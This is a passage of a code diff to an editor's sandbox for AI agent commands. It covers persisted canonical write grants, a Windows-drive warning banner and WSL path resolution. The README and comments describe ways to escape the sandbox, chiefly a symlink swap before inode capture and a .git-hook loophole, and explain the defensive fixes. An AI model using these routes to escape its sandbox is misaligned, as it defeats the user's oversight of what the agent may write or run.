         // `/tmp/build/../build/cache` normalizes to `/tmp/build/cache`, which is
         // then pruned as a redundant child of `/tmp/build`.
-        assert_eq!(permissions.write_paths, vec![PathBuf::from("/tmp/build")]);
+        assert_eq!(
+            permissions.write_paths,
+            vec![settings::GrantedWritePath::from_requested(PathBuf::from(
+                "/tmp/build"
+            ))]
+        );
+    }
+
+    #[test]
+    fn test_sandbox_permissions_bare_string_has_no_resolved() {
+        let json = json!({
+            "write_paths": ["/tmp/build"]
+        });
+
+        let content: settings::SandboxPermissionsContent = serde_json::from_value(json).unwrap();
+        let permissions = compile_sandbox_permissions(Some(content));
+
+        assert_eq!(
+            permissions.write_paths,
+            vec![settings::GrantedWritePath::from_requested(PathBuf::from(
+                "/tmp/build"
+            ))]
+        );
+        assert_eq!(permissions.write_paths[0].resolved, None);
+    }
+
+    #[test]
+    fn test_sandbox_permissions_object_preserves_resolved() {
+        let json = json!({
+            "write_paths": [
+                { "requested": "/tmp/link", "resolved": "/tmp/real" }
+            ]
+        });
+
+        let content: settings::SandboxPermissionsContent = serde_json::from_value(json).unwrap();
+        let permissions = compile_sandbox_permissions(Some(content));
+
+        assert_eq!(
+            permissions.write_paths,
+            vec![settings::GrantedWritePath::resolved(
+                PathBuf::from("/tmp/link"),
+                PathBuf::from("/tmp/real"),
+            )]
+        );
+        assert_eq!(
+            permissions.write_paths[0].resolved,
+            Some(PathBuf::from("/tmp/real"))
+        );
+    }
+
+    #[test]
+    fn test_sandbox_permissions_dedup_keys_on_resolved_path() {
+        // The requested paths are unrelated, but the resolved (canonical)
+        // targets form a subtree, so dedup must prune by the resolved path.
+        let json = json!({
+            "write_paths": [
+                { "requested": "/tmp/link/cache", "resolved": "/tmp/real/cache" },
+                { "requested": "/tmp/other", "resolved": "/tmp/real" },
+            ]
+        });
+
+        let content: settings::SandboxPermissionsContent = serde_json::from_value(json).unwrap();
+        let permissions = compile_sandbox_permissions(Some(content));
+
+        assert_eq!(
+            permissions.write_paths,
+            vec![settings::GrantedWritePath::resolved(
+                PathBuf::from("/tmp/other"),
+                PathBuf::from("/tmp/real"),
+            )]
+        );
     }
 
     #[test]
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 2f2bac1c094617..97d4b5021ad331 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -8669,22 +8669,20 @@ impl ThreadView {
         cx: &Context<Self>,
     ) -> AnyElement {
         let url = zed_urls::sandboxing_docs(section, cx);
-        let tooltip = format!("Opens {url}");
-        // Wrap in a row so the button shrinks to its content width instead of
-        // stretching to fill the enclosing column.
-        h_flex()
-            .child(
-                Button::new(id, "Learn more")
-                    .label_size(LabelSize::Small)
+
+        Button::new(id, "View Sandboxing Docs")
+            .label_size(LabelSize::Small)
+            .color(Color::Muted)
+            .end_icon(
+                Icon::new(IconName::ArrowUpRight)
                     .color(Color::Muted)
-                    .end_icon(
-                        Icon::new(IconName::ArrowUpRight)
-                            .color(Color::Muted)
-                            .size(IconSize::XSmall),
-                    )
-                    .tooltip(Tooltip::text(tooltip))
-                    .on_click(move |_, _, cx| cx.open_url(&url)),
+                    .size(IconSize::XSmall),
             )
+            .tooltip({
+                let url = url.clone();
+                move |_, cx| Tooltip::with_meta("Open Docs", None, url.clone(), cx)
+            })
+            .on_click(move |_, _, cx| cx.open_url(&url))
             .into_any_element()
     }
 
@@ -8698,7 +8696,17 @@ impl ThreadView {
     ) -> AnyElement {
         let has_network = details.network_all_hosts || !details.network_hosts.is_empty();
         let has_write = details.allow_fs_write_all || !details.write_paths.is_empty();
-        if !has_network && !has_write && !details.unsandboxed && details.reason.is_empty() {
+        // The dedicated Windows-drive warning prompt is only ever sent while the
+        // warning is enabled, so key the banner on the prompt itself. Keeping it
+        // visible even after the "Don't show again" checkbox flips the setting
+        // avoids the card disappearing out from under the user mid-decision.
+        let has_windows_fs_warning = details.warn_windows_fs;
+        if !has_network
+            && !has_write
+            && !details.unsandboxed
+            && details.reason.is_empty()
+            && !has_windows_fs_warning
+        {
             return Empty.into_any_element();
         }
 
@@ -8825,7 +8833,9 @@ impl ThreadView {
                 .collapsed_sandbox_authorization_details
                 .contains(tool_call_id);
             let mut paths = details.write_paths.clone();
-            paths.sort();
+            // Sort by the path that is actually granted (the resolved canonical
+            // when present, else the requested path).
+            paths.sort_by(|a, b| a.canonical_or_requested().cmp(b.canonical_or_requested()));
 
             v_flex()
                 .child(
@@ -8858,7 +8868,7 @@ impl ThreadView {
                             h_flex()
                                 .gap_1()
                                 .child(
-                                    Label::new("Write access")
+                                    Label::new("Write Access")
                                         .size(LabelSize::Small)
                                         .color(Color::Muted),
                                 )
@@ -8887,13 +8897,7 @@ impl ThreadView {
                 .when(has_path_list && is_open, |this| {
                     this.child(v_flex().children(paths.iter().enumerate().map(
                         |(path_ix, path)| {
-                            self.render_sandbox_authorization_path_row(
-                                entry_ix,
-                                path_ix,
-                                path,
-                                path_ix < paths.len() - 1,
-                                cx,
-                            )
+                            self.render_sandbox_authorization_path_row(entry_ix, path_ix, path, cx)
                         },
                     )))
                 })
@@ -8922,10 +8926,9 @@ impl ThreadView {
                 .py_1()
                 .gap_0p5()
                 .child(
-                    Label::new("Reason from agent")
+                    Label::new("Reason")
                         .size(LabelSize::XSmall)
-                        .color(Color::Muted)
-                        .buffer_font(cx),
+                        .color(Color::Muted),
                 )
                 .child(Label::new(details.reason.clone()).size(LabelSize::Small))
         });
@@ -8935,6 +8938,9 @@ impl ThreadView {
         v_flex()
             .border_t_1()
             .border_color(self.tool_card_border_color(cx))
+            .when(has_windows_fs_warning, |this| {
+                this.child(self.render_sandbox_windows_fs_warning(cx))
+            })
             .when(!confusable_findings.is_empty(), |this| {
                 this.child(self.render_sandbox_confusable_warning(
                     tool_call_id,
@@ -8947,16 +8953,20 @@ impl ThreadView {
             .children(write_section)
             .children(unsandboxed_section)
             .children(reason_section)
-            .child(
-                h_flex()
-                    .px_1()
-                    .py_0p5()
-                    .child(self.render_sandbox_docs_link(
-                        "sandbox-authorization-docs-link",
-                        None,
-                        cx,
-                    )),
-            )
+            .when(!has_windows_fs_warning, |this| {
+                // The Windows-drive warning banner carries its own docs link, so
+                // skip the default one that every other sandbox prompt appends.
+                this.child(
+                    h_flex()
+                        .px_1()
+                        .py_0p5()
+                        .child(self.render_sandbox_docs_link(
+                            "sandbox-authorization-docs-link",
+                            None,
+                            cx,
+                        )),
+                )
+            })
             .into_any_element()
     }
 
@@ -8976,11 +8986,20 @@ impl ThreadView {
                 findings.push((decoded, suspicious));
             }
         }
-        for path in &details.write_paths {
-            let display = path.display().to_string();
-            let suspicious = unicode_confusables::scan(&display);
-            if !suspicious.is_empty() {
-                findings.push((display, suspicious));
+        for granted in &details.write_paths {
+            // Scan both the requested path and the resolved target (when they
+            // differ), so a confusable in either the shown request or the real
+            // grant destination is surfaced.
+            let requested = granted.requested.display().to_string();
+            let resolved = granted.canonical_or_requested().display().to_string();
+            for display in [requested, resolved]
+                .into_iter()
+                .collect::<std::collections::BTreeSet<_>>()
+            {
+                let suspicious = unicode_confusables::scan(&display);
+                if !suspicious.is_empty() {
+                    findings.push((display, suspicious));
+                }
             }
         }
         findings
@@ -9118,6 +9137,107 @@ impl ThreadView {
             .into_any_element()
     }
 
+    /// Whether the Windows-drive (DrvFs) weaker-guarantee warning is enabled in
+    /// settings (on by default). Windows-only in effect: `warn_windows_fs` is
+    /// never set on other platforms.
+    fn ntfs_warning_enabled(cx: &App) -> bool {
+        AgentSettings::get_global(cx)
+            .sandbox_permissions
+            .warn_ntfs_grants
+    }
+
+    /// Informational banner shown on a sandbox approval prompt when the command
+    /// will write to a file on a Windows drive (reached inside WSL via DrvFs),
+    /// whose sandbox-integrity guarantees are weaker than the distro's native
+    /// filesystem. Unlike the confusable-Unicode banner this does not gate the
+    /// allow buttons: the approval itself is the acknowledgement. A settings gear
+    /// links to where the warning can be suppressed.
+    fn render_sandbox_windows_fs_warning(&self, cx: &Context<Self>) -> AnyElement {
+        v_flex()
+            .w_full()
+            .p_2()
+            .gap_1()
+            .border_t_1()
+            .border_color(cx.theme().status().warning_border)
+            .bg(cx.theme().status().warning_background.opacity(0.15))
+            .child(
+                h_flex()
+                    .w_full()
+                    .gap_1p5()
+                    .items_start()
+                    .child(
+                        Icon::new(IconName::Warning)
+                            .size(IconSize::Small)
+                            .color(Color::Warning),
+                    )
+                    .child(
+                        v_flex()
+                            .min_w_0()
+                            .flex_1()
+                            .gap_0p5()
+                            .child(
+                                Label::new("This command can write to a file on a Windows drive")
+                                    .size(LabelSize::Small)
+                                    .color(Color::Warning),
+                            )
+                            .child(
+                                Label::new(
+                                    "Sandboxes with write access to a location on a Windows \
+                                     drive may not provide full filesystem isolation.",
+                                )
+                                .size(LabelSize::XSmall)
+                                .color(Color::Muted),
+                            )
+                            .child(h_flex().child(self.render_sandbox_docs_link(
+                                "sandbox-windows-fs-docs-link",
+                                Some("windows"),
+                                cx,
+                            ))),
+                    )
+                    .child(
+                        IconButton::new("configure-ntfs-warning", IconName::Settings)
+                            .icon_size(IconSize::Small)
+                            .icon_color(Color::Muted)
+                            .tooltip(Tooltip::text("Configure Windows-drive warning"))
+                            .on_click(|_, window, cx| {
+                                window.dispatch_action(
+                                    Box::new(zed_actions::OpenSettingsAt {
+                                        path: zed_actions::AGENT_SANDBOX_SETTINGS_PATH.to_string(),
+                                        target: None,
+                                    }),
+                                    cx,
+                                );
+                            }),
+                    ),
+            )
+            .child(
+                Checkbox::new(
+                    "sandbox-windows-fs-dont-warn",
+                    if Self::ntfs_warning_enabled(cx) {
+                        ToggleState::Unselected
+                    } else {
+                        ToggleState::Selected
+                    },
+                )
+                .label("Don't show this warning again")
+                .label_size(LabelSize::Small)
+                .on_click(cx.listener(|this, state: &ToggleState, _window, cx| {
+                    let disable = *state == ToggleState::Selected;
+                    let fs = this.thread.read(cx).project().read(cx).fs().clone();
+                    update_settings_file(fs, cx, move |settings, _| {
+                        settings
+                            .agent
+                            .get_or_insert_default()
+                            .sandbox_permissions
+                            .get_or_insert_default()
+                            .warn_ntfs_grants = Some(!disable);
+                    });
+                    cx.notify();
+                })),
+            )
+            .into_any_element()
+    }
+
     fn render_sandbox_fallback_authorization_details(
         &self,
         details: &SandboxFallbackAuthorizationDetails,
@@ -9164,55 +9284,63 @@ impl ThreadView {
         &self,
         entry_ix: usize,
         path_ix: usize,
-        path: &Path,
-        show_border: bool,
+        granted: &settings::GrantedWritePath,
         cx: &Context<Self>,
     ) -> Stateful<Div> {
-        let display_path = path.display().to_string();
-        let file_name = path
-            .file_name()
-            .map(|name| name.to_string_lossy().into_owned())
-            .unwrap_or_else(|| display_path.clone());
-        let parent_path = path.parent().and_then(|parent| {
-            let parent = parent.display().to_string();
-            (!parent.is_empty()).then_some(parent)
-        });
+        // The path that is actually granted is the resolved canonical target.
+        // When the request went through a symlink to a *different* target, both
+        // paths are shown, each explicitly captioned, so it's unmistakable which
+        // string was requested and which location write access is really granted
+        // to.
+        let granted_path = granted.canonical_or_requested();
+        let requested_path = granted.requested.clone();
+        // Grants are stored in the request's own namespace (a Windows path stays
+        // `C:\...`, a WSL path stays `/...`), so a genuine symlink/junction
+        // redirect is just a plain inequality between the request and its
+        // resolved canonical.
+        let is_redirected = granted
+            .resolved
+            .as_deref()
+            .is_some_and(|resolved| resolved != requested_path.as_path());
+
+        let granted_display = granted_path.display().to_string();
+        let requested_display = requested_path.display().to_string();
+
+        let captioned_path = |caption: SharedString, path: String, cx: &Context<Self>| {
+            v_flex()
+                .min_w_0()
+                .gap_0p5()
+                .child(
+                    Label::new(caption)
+                        .size(LabelSize::XSmall)
+                        .color(Color::Muted),
+                )
+                .child(Label::new(path).size(LabelSize::Small).buffer_font(cx))
+        };
 
-        h_flex()
-            .id(SharedString::from(format!(
-                "sandbox-authorization-path-{entry_ix}-{path_ix}"
-            )))
+        v_flex()
+            .id(format!("sandbox-authorization-path-{entry_ix}-{path_ix}"))
             .min_w_0()
+            .gap_1()
             .px_2()
             .py_1p5()
             .bg(cx.theme().colors().editor_background)
-            .when(show_border, |this| {
-                this.border_b_1().border_color(cx.theme().colors().border)
-            })
-            .child(
-                h_flex()
-                    .id(SharedString::from(format!(
-                        "sandbox-authorization-path-name-{entry_ix}-{path_ix}"
-                    )))
-                    .min_w_0()
-                    .gap_0p5()
-                    .child(
-                        Label::new(file_name)
-                            .size(LabelSize::XSmall)
-                            .buffer_font(cx),
-                    )
-                    .when_some(parent_path, |this, parent_path| {
-                        this.child(
-                            Label::new(format!(" {parent_path}"))
+            .map(|this| {
+                if is_redirected {
+                    this.child(captioned_path("Source".into(), requested_display, cx))
+                        .child(
+                            Icon::new(IconName::ArrowDown)
                                 .color(Color::Muted)
-                                .size(LabelSize::XSmall)
-                                .buffer_font(cx),
+                                .size(IconSize::Small),
                         )
-                    })
-                    .tooltip(move |_window, cx| {
-                        Tooltip::with_meta("Requested write path", None, display_path.clone(), cx)
-                    }),
-            )
+                        .child(captioned_path("Target".into(), granted_display, cx))
+                } else {
+                    // Not a genuine redirect: show what the user asked for (e.g.
+                    // the `C:\...` path), not the internal Linux canonical.
+                    this.child(captioned_path("Write Path".into(), requested_display, cx))
+                }
+            })
+            .child(Divider::horizontal())
     }
 
     fn render_permission_buttons(
diff --git a/crates/feature_flags/src/flags.rs b/crates/feature_flags/src/flags.rs
index 8486c32d2694ad..c82341a54ae46b 100644
--- a/crates/feature_flags/src/flags.rs
+++ b/crates/feature_flags/src/flags.rs
@@ -137,6 +137,10 @@ impl FeatureFlag for SandboxingFeatureFlag {
     const NAME: &'static str = "sandboxing";
     type Value = PresenceFlag;
 
+    fn enabled_for_all() -> bool {
+        true
+    }
+
     fn enabled_for_staff() -> bool {
         false
     }
diff --git a/crates/sandbox/Cargo.toml b/crates/sandbox/Cargo.toml
index 58951c163177c0..3ff373dd8af339 100644
--- a/crates/sandbox/Cargo.toml
+++ b/crates/sandbox/Cargo.toml
@@ -65,6 +65,9 @@ seccompiler.workspace = true
 
 [target.'cfg(target_os = "linux")'.dev-dependencies]
 tempfile.workspace = true
+# For the `#[gpui::property_test]` in the writable-grant normalization tests.
+# `proptest` comes transitively via `gpui::proptest`.
+gpui = { workspace = true, features = ["test-support"] }
 
 [target.'cfg(target_os = "macos")'.dependencies]
 tempfile.workspace = true
diff --git a/crates/sandbox/README.md b/crates/sandbox/README.md
index d2b24249737343..f11a4968673273 100644
--- a/crates/sandbox/README.md
+++ b/crates/sandbox/README.md
@@ -32,6 +32,8 @@ This can be mitigated by:
   access to those paths can be escalated to unsandboxed code execution via hooks,
   `$EDITOR`, and other mechanisms
 
+This is not foolproof though - for example, on linux, it's not possible to protect `.git` if it doesn't already exist, and so 
+
 ## Implementation
 
 The implementations are highly platform-specific:
@@ -228,6 +230,50 @@ If the attacker managed to change a path to point to a different inode to when
 the FD was captured, the check will fail, and we don't run the untrusted
 command.
 
+#### The subtle flaw: capturing is circular
+
+The scheme above closes the swap-*after*-capture window, but the original
+capture step had a hidden circularity. It opened a fresh `O_PATH` FD each run
+(following symlinks), then *re-derived* the bind path from that same FD via
+`readlink(/proc/self/fd/N)`. Both the pinned inode and the bind path therefore
+came from one open of an attacker-influenced path.
+
+That means a symlink swapped in **before** the capture is silently followed: the
+open pins the attacker's inode and the readlink reports the attacker's path. The
+in-sandbox validator then compares `fstat(fd)` against `lstat(mount)` — but both
+sides now agree on the same wrong, attacker-chosen inode, so the check passes.
+The validator can only prove the FD and the mount name the same object; it
+cannot prove that object is the one the user approved.
+
+#### The complete fix: persist the approval-time canonical path
+
+The fix pins the identity at *approval* time and re-proves it at *enforcement*
+time, rather than re-deriving it from the FD every run:
+
+- At approval, we resolve the requested path to its canonical (symlink-free)
+  target and persist that canonical path alongside the request.
+- At enforcement, we open the persisted canonical path with `O_PATH | O_NOFOLLOW`,
+  reject a symlink leaf (an `S_IFLNK` check, since `readlink` of an
+  `O_NOFOLLOW` symlink FD returns the symlink's own path and would spuriously
+  match), and require `readlink(/proc/self/fd/N) == persisted canonical`. If any
+  component became a symlink after approval, the FD resolves elsewhere and this
+  diverges, so we fail closed.
+
+This host-side, **pre-mount** readlink check composes with the existing
+in-sandbox, **post-mount** `fstat(fd) == lstat(mount)` check to cover every
+window:
+- a swap *before* the host open is caught by the readlink check;
+- a swap *between* the host check and the mount is caught in-sandbox.
+
+The readlink half must run host-side: once the FD is bound, its inode is
+remapped to the mount destination inside the sandbox, so an in-sandbox readlink
+would just report the mount path and prove nothing.
+
+Grants are persisted as `(requested, resolved-canonical)` pairs. FDs cannot
+survive a process restart, so even transient "allow for this thread" grants are
+rebuilt from these strings and re-verified. The `requested` path is retained for
+display and provenance only — it is never fed back into enforcement.
+
 #### Blocking IPC-socket escapes (seccomp)
 
 A read-only bind mount does **not** stop a process from `connect()`-ing to a
@@ -309,14 +355,40 @@ want to revisit this.
 
 As mentioned above, TOCTOUs are a real issue. MacOS is not vulnerable to the
 TOCTOU that affected Linux, but there is still a risk if we canonicalize paths
-twice with a time delay between. 
-
-To mitigate this, sensitive APIs take a `HostFilesystemLocation`. This is:
-- an `Arc<OwnedFd>` on Linux
-- a `PathBuf` on MacOS
-
-This type does not expose its inner value, and so this encourages the developer
-to capture and validate the path once, before passing it into this type.
+twice with a time delay between.
+
+To mitigate this, sensitive APIs take a `HostFilesystemLocation`. It wraps a
+fully `cfg`-ed, per-OS inner struct so each platform carries exactly the captured
+identity its enforcement layer needs:
+- Linux: `{ O_PATH fd, canonical_path, untrusted_raw_path }`
+- macOS: `{ canonical_path, untrusted_raw_path }`
+- other platforms: `{ untrusted_raw_path }` (the real capture happens WSL-side)
+
+The type is opaque: it does not `Deref`, and its paths are readable only through
+a display view, never as a value that can be re-fed into a constructor by string.
+Equality reflects the actual filesystem object (the inode behind the FD on Linux,
+the canonical path on macOS), not the textual raw path.
+
+There are two constructors:
+- `capture(raw)` resolves `raw` to its canonical target, **following** symlinks
+  (Linux: `O_PATH` open, then `readlink(/proc/self/fd/N)`; macOS: canonicalize).
+  Use it for locations that are *not* re-established from persisted state — the
+  project's own worktree roots and protected paths (whose parents a sandboxed
+  command can't tamper with) — and to resolve a user-requested path at approval
+  time so the true target can be shown and persisted.
+- `reopen(raw, canonical)` rebuilds a persisted grant and **proves** the object
+  now at `canonical` is the one that was approved. On Linux it opens `canonical`
+  with `O_PATH | O_CLOEXEC | O_NOFOLLOW`, rejects a symlink leaf (`S_IFLNK`
+  check), and requires `readlink(/proc/self/fd/N) == canonical`, failing closed
+  otherwise. On macOS the persisted canonical is trusted verbatim, because
+  Seatbelt matches the *resolved* access path: a post-approval component swap is
+  denied at syscall time rather than redirecting, so no FD/readlink check is
+  needed.
+
+`display()` returns a `HostFilesystemLocationDisplay` exposing both the raw
+request and the canonical target (plus whether the request was redirected
+through a symlink) so the approval UI can render an informed "requested →
+granted" disclosure. The raw path is display/provenance only.
 
 ### `SandboxFilesystemLocation`
 
diff --git a/crates/sandbox/src/bwrap_test_helper.rs b/crates/sandbox/src/bwrap_test_helper.rs
index 68ef38659b2ed1..3092cd27beb700 100644
--- a/crates/sandbox/src/bwrap_test_helper.rs
+++ b/crates/sandbox/src/bwrap_test_helper.rs
@@ -117,6 +117,13 @@ mod imp {
         fs: FsMode,
         #[serde(default)]
         writable_paths: Vec<String>,
+        /// Regular files to create before the policy is built. Used to set up a
+        /// single-file-worktree fixture: a protected path like
+        /// `<file>/settings.json/.git` then routes through a real file, so
+        /// capturing it reports `NotADirectory` — the case production must skip
+        /// rather than fail on (the `settings.json/.git` regression).
+        #[serde(default)]
+        seed_files: Vec<String>,
         #[serde(default)]
         network_access: NetMode,
         #[serde(default)]
@@ -193,13 +200,12 @@ mod imp {
             FsMode::Restricted => {
                 let mut writable_paths = Vec::new();
                 for path in &check.writable_paths {
-                    // Mirror production (`acp_thread::SandboxWrap::to_policy`):
-                    // the directory must exist before its inode can be pinned, so
-                    // create it up front, then capture it.
+                    // A granted directory must exist before its inode can be
+                    // pinned, so create it up front, then capture it.
                     std::fs::create_dir_all(path)
                         .with_context(|| format!("failed to create writable path {path}"))?;
                     writable_paths.push(
-                        HostFilesystemLocation::new(path)
+                        HostFilesystemLocation::capture(path)
                             .with_context(|| format!("failed to capture writable path {path}"))?,
                     );
                 }
@@ -220,15 +226,18 @@ mod imp {
         Ok(SandboxPolicy { fs, network })
     }
 
-    /// Capture each already-existing protected path, mirroring production's
-    /// fail-closed `filter_map(HostFilesystemLocation::new(..).ok())`: a path
-    /// that does not yet exist can't be pinned and is simply skipped. Unlike
-    /// writable paths, these are never created here — whether one exists is
-    /// exactly what several checks turn on.
+    /// Capture protected paths best-effort, mirroring production
+    /// (`SandboxWrap::to_policy`): protect only the ones that exist right now
+    /// (`capture` succeeding is the existence check) and silently drop the rest.
+    /// A protection can't be materialized, and `.git` protection has an inherent
+    /// accepted loophole (`git init` in a non-git dir), so a currently-absent or
+    /// otherwise-uncapturable protected path is dropped rather than fatal. These
+    /// are never created here; whether one exists is exactly what several checks
+    /// turn on.
     fn capture_protected_paths(paths: &[String]) -> Vec<HostFilesystemLocation> {
         paths
             .iter()
-            .filter_map(|path| HostFilesystemLocation::new(path).ok())
+            .filter_map(|path| HostFilesystemLocation::capture(path).ok())
             .collect()
     }
 
@@ -241,8 +250,13 @@ mod imp {
         } else {
             format!(",protected_paths={:?}", check.protected_paths)
         };
+        let seed = if check.seed_files.is_empty() {
+            String::new()
+        } else {
+            format!(",seed_files={:?}", check.seed_files)
+        };
         let policy = format!(
-            "fs={:?},net={:?}{protected}",
+            "fs={:?},net={:?}{protected}{seed}",
             check.fs, check.network_access
         );
         let op = if let Some(path) = &check.read {
@@ -285,6 +299,20 @@ mod imp {
             .succeeds
             .with_context(|| format!("check {label:?} has an operation but no `succeeds`"))?;
 
+        // Create any regular-file fixtures before the policy is built, so a
+        // protected path routed through one (e.g. `<file>/.git`) reports
+        // `NotADirectory` at capture time.
+        for path in &check.seed_files {
+            let path = Path::new(path);
+            if let Some(parent) = path.parent() {
+                std::fs::create_dir_all(parent).with_context(|| {
+                    format!("failed to create parent of seed file {}", path.display())
+                })?;
+            }
+            std::fs::write(path, b"seed\n")
+                .with_context(|| format!("failed to create seed file {}", path.display()))?;
+        }
+
         let actual = if let Some(path) = &check.read {
             run_read(check, path)?
         } else if let Some(path) = &check.write {
diff --git a/crates/sandbox/src/linux_bubblewrap.rs b/crates/sandbox/src/linux_bubblewrap.rs
index 373f3520786071..cde45746d8e7fe 100644
--- a/crates/sandbox/src/linux_bubblewrap.rs
+++ b/crates/sandbox/src/linux_bubblewrap.rs
@@ -48,6 +48,7 @@ const LAUNCHER_FLAG: &str = "--zed-linux-sandbox-launcher";
 /// capture must happen WSL-side because a Windows process holds no Linux fds.
 /// See `README.md`. Shared with the Windows side via `crate::WSL_SANDBOX_HELPER_FLAG`.
 const WSL_HELPER_FLAG: &str = crate::WSL_SANDBOX_HELPER_FLAG;
+const WSL_RESOLVE_FLAG: &str = crate::WSL_SANDBOX_RESOLVE_FLAG;
 /// Sentinel argv token meaning "this optional field is absent".
 const LAUNCHER_NONE: &str = "-";
 const PROXY_SOCKET_SANDBOX_PATH_PREFIX: &str = "/tmp/zed-sandbox";
@@ -608,22 +609,21 @@ pub fn wrap_invocation(
         );
     }
 
-    // Create the requested writable directories up front, with the agent's
-    // ambient permissions, so each can be bind-mounted at its exact path (see
-    // `build_bwrap_args`): `bwrap` can't bind a nonexistent source, and the
-    // command can't create it either (its parent is read-only inside the
-    // sandbox). If a path still doesn't exist afterwards we can't grant the
-    // write access the agent asked for, and running anyway would give the
-    // command silently less access than it believes it has — so fail closed with
-    // a clear error instead. (An existing *file* makes `create_dir_all` error
-    // but is fine: it exists and the `--bind` below handles it.)
+    // Every writable path must already exist: `bwrap` can't bind a nonexistent
+    // source, and the command can't create it either (its parent is read-only
+    // inside the sandbox). Callers hand us captured canonical paths whose
+    // inodes were pinned at policy-construction time, so a missing path here
+    // means the location vanished since capture. Never create it with the
+    // agent's ambient permissions — recreating from path text would bind a
+    // fresh, unapproved object in place of the pinned one (and historically
+    // this materialized bogus paths, e.g. a granted *file* path springing into
+    // existence as a directory). Running anyway would give the command silently
+    // less access than it believes it has — so fail closed with a clear error.
     if !permissions.allow_fs_write {
         for directory in writable_dirs {
-            if let Err(error) = std::fs::create_dir_all(directory)
-                && !directory.exists()
-            {
+            if !directory.exists() {
                 bail!(
-                    "failed to provide writable sandbox path {}: {error}",
+                    "failed to provide writable sandbox path {}: it no longer exists",
                     directory.display()
                 );
             }
@@ -1133,18 +1133,6 @@ fn lstat_dev_ino(path: &Path) -> std::io::Result<(u64, u64)> {
     Ok((metadata.dev(), metadata.ino()))
 }
 
-/// Open an `O_PATH` descriptor pinning `path`'s inode (read/write on contents is
-/// not granted), the same capture the native-Linux policy layer performs in
-/// `HostFilesystemLocation::new`.
-fn open_o_path_fd(path: &Path) -> std::io::Result<OwnedFd> {
-    use std::os::unix::fs::OpenOptionsExt as _;
-    let file = std::fs::OpenOptions::new()
-        .read(true)
-        .custom_flags(libc::O_PATH | libc::O_CLOEXEC)
-        .open(path)?;
-    Ok(OwnedFd::from(file))
-}
-
 /// A decoded WSL-helper invocation (`--wsl-sandbox-helper`). All fields are
 /// produced by the trusted Windows side and parsed before any untrusted command
 /// runs.
@@ -1166,7 +1154,48 @@ struct WslHelperInvocation {
 /// Handle a possible re-exec of this binary as the WSL-side sandbox helper. Does
 /// not return if it was invoked as one.
 pub fn run_wsl_helper_if_invoked() {
-    let Some(invocation) = parse_wsl_helper_args(std::env::args_os()) else {
+    let args: Vec<OsString> = std::env::args_os().collect();
+    if args.get(1).and_then(|arg| arg.to_str()) == Some(WSL_RESOLVE_FLAG) {
+        let Some(path) = args.get(2) else {
+            eprintln!("zed: malformed WSL canonical-path resolver invocation");
+            std::process::exit(127);
+        };
+        if args.len() != 3 {
+            eprintln!("zed: malformed WSL canonical-path resolver invocation");
+            std::process::exit(127);
+        }
+        match crate::util::CanonicalPathBuf::resolve(PathBuf::from(path.as_os_str())) {
+            Ok(canonical) => {
+                let Some(canonical) = canonical.path().to_str() else {
+                    eprintln!("zed: canonical WSL sandbox grant is not valid UTF-8");
+                    std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+                };
+                let Ok(distro) = std::env::var("WSL_DISTRO_NAME") else {
+                    eprintln!("zed: WSL_DISTRO_NAME is unavailable while resolving sandbox grant");
+                    std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+                };
+                // Classify the backing filesystem of the *canonical* target (the
+                // path that will actually be bound), so the Windows side can
+                // persist whether this grant lives on a Windows-hosted (DrvFs)
+                // filesystem, whose sandbox-integrity guarantees are weaker.
+                let fs_class = if path_is_on_windows_fs(Path::new(canonical)) {
+                    "windows-fs"
+                } else {
+                    "native-fs"
+                };
+                println!("{distro}");
+                println!("{canonical}");
+                println!("{fs_class}");
+                std::process::exit(0);
+            }
+            Err(error) => {
+                eprintln!("zed: could not resolve WSL sandbox grant: {error}");
+                std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+            }
+        }
+    }
+
+    let Some(invocation) = parse_wsl_helper_args(args) else {
         return;
     };
     let invocation = match invocation {
@@ -1179,6 +1208,27 @@ pub fn run_wsl_helper_if_invoked() {
     run_wsl_helper(invocation);
 }
 
+/// Whether `path` resides on a Windows-hosted filesystem exposed to WSL via
+/// DrvFs. Inside WSL the Windows drives (`/mnt/<letter>`) are served by either
+/// 9p or virtiofs, whereas the distro's own filesystems are native (ext4/btrfs/
+/// overlay/tmpfs). We use the backing filesystem type rather than a `/mnt/`
+/// path prefix so a reconfigured automount root, or a symlink that lands on a
+/// Windows drive, is still classified correctly. Fails safe: if the type can't
+/// be determined we report `true` (weaker guarantees ⇒ warn) rather than
+/// silently treating it as native.
+fn path_is_on_windows_fs(path: &Path) -> bool {
+    // `statfs.f_type` magics for the DrvFs transports. virtiofs is FUSE-backed.
+    const V9FS_MAGIC: i64 = 0x0102_1997;
+    const FUSE_SUPER_MAGIC: i64 = 0x6573_5546;
+    match nix::sys::statfs::statfs(path) {
+        Ok(stat) => {
+            let fs_type = stat.filesystem_type().0;
+            fs_type == V9FS_MAGIC || fs_type == FUSE_SUPER_MAGIC
+        }
+        Err(_) => true,
+    }
+}
+
 fn parse_wsl_helper_args(
     args: impl IntoIterator<Item = OsString>,
 ) -> Option<Result<WslHelperInvocation>> {
@@ -1243,16 +1293,15 @@ fn parse_count(value: OsString, what: &str) -> Result<usize> {
     reason = "the WSL helper is a dedicated per-command process that must spawn and wait for bwrap"
 )]
 fn run_wsl_helper(invocation: WslHelperInvocation) -> ! {
-    // Capture an `O_PATH` fd per writable bind *here*, inside WSL — this is the
-    // capture-at-validation step that on native Linux happens in the Zed process.
     let mut fds = Vec::with_capacity(invocation.writable_paths.len());
     for path in &invocation.writable_paths {
-        match open_o_path_fd(path) {
+        let fd = crate::util::CanonicalPathBuf::from_canonical(path.clone())
+            .and_then(|canonical| canonical.dup_fd());
+        match fd {
             Ok(fd) => fds.push(fd),
             Err(error) => {
-                // Fail closed: a writable bind we can't pin can't be verified.
                 eprintln!(
-                    "zed: WSL sandbox helper could not open writable bind {}: {error}",
+                    "zed: WSL sandbox helper could not verify canonical writable bind {}: {error}",
                     path.display()
                 );
                 std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
@@ -1891,11 +1940,11 @@ mod tests {
         );
     }
 
-    // A requested writable path that can't be created (here, under an existing
-    // file, so `create_dir_all` errors and the path never exists) must fail the
-    // whole invocation — not run the command with silently less write access
-    // than the agent asked for. This check runs before `resolve_bwrap`, so the
